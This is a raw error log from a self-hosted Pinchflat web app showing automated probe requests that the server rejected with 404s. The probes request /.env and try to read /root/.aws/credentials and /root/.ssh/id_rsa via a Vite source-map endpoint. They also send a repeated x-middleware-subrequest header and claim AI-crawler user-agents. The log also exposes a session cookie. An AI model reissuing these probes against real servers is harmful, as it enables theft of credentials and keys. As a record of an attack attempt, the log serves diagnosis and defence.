"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///root/.aws/credentials&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29705.0>, params: %{ "environmentName" => "rsc", "filename" => "file:///root/.aws/credentials" }, path_info: ["__vite_rsc_findSourceMapURL"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{ "environmentName" => "rsc", "filename" => "file:///root/.aws/credentials" }, query_string: "filename=file:///root/.aws/credentials&environmentName=rsc", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__vite_rsc_findSourceMapURL", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61co9_14X5VQAAH_D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34082}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///root/.aws/credentials&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34082}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MoonshotBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => (truncated) 16:49:07.925 [info] GET /.env 16:49:07.925 [debug] QUERY OK source="settings" db=0.0ms idle=131.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.925 [debug] QUERY OK source="settings" db=0.0ms idle=27.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.925 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.926 [error] #PID<0.29707.0> running PinchflatWeb.Endpoint (connection #PID<0.29706.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29706.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29707.0>, params: %{"raw" => ""}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61crigM3CyvUABwLB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29706.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29706.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34094}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.2 (truncated) 16:49:07.933 [info] GET /__vite_rsc_findSourceMapURL 16:49:07.933 [debug] QUERY OK source="settings" db=0.0ms idle=34.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.933 [debug] QUERY OK source="settings" db=0.0ms idle=18.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:07.933 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:07.933 [error] #PID<0.29709.0> running PinchflatWeb.Endpoint (connection #PID<0.29708.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /__vite_rsc_findSourceMapURL?filename=file:///root/.ssh/id_rsa&environmentName=rsc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29708.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///root/.ssh/id_rsa&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29709.0>, params: %{ "environmentName" => "rsc", "filename" => "file:///root/.ssh/id_rsa" }, path_info: ["__vite_rsc_findSourceMapURL"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{ "environmentName" => "rsc", "filename" => "file:///root/.ssh/id_rsa" }, query_string: "filename=file:///root/.ssh/id_rsa&environmentName=rsc", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/__vite_rsc_findSourceMapURL", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61cta5uOOfF8ABMVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29708.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "filename=file:///root/.ssh/id_rsa&environmentName=rsc", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /__vite_rsc_findSourceMapURL (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29708.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/__vite_rsc_findSourceMapURL", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34098}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https (truncated) 16:49:08.077 [info] GET /.env 16:49:08.077 [debug] QUERY OK source="settings" db=0.0ms idle=151.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.077 [debug] QUERY OK source="settings" db=0.0ms idle=151.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.077 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.077 [error] #PID<0.29711.0> running PinchflatWeb.Endpoint (connection #PID<0.29710.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env?import&raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34102}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29711.0>, params: %{"import" => "", "raw" => ""}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw" => ""}, query_string: "import&raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61dPt8RaHUisABwLh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29710.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: 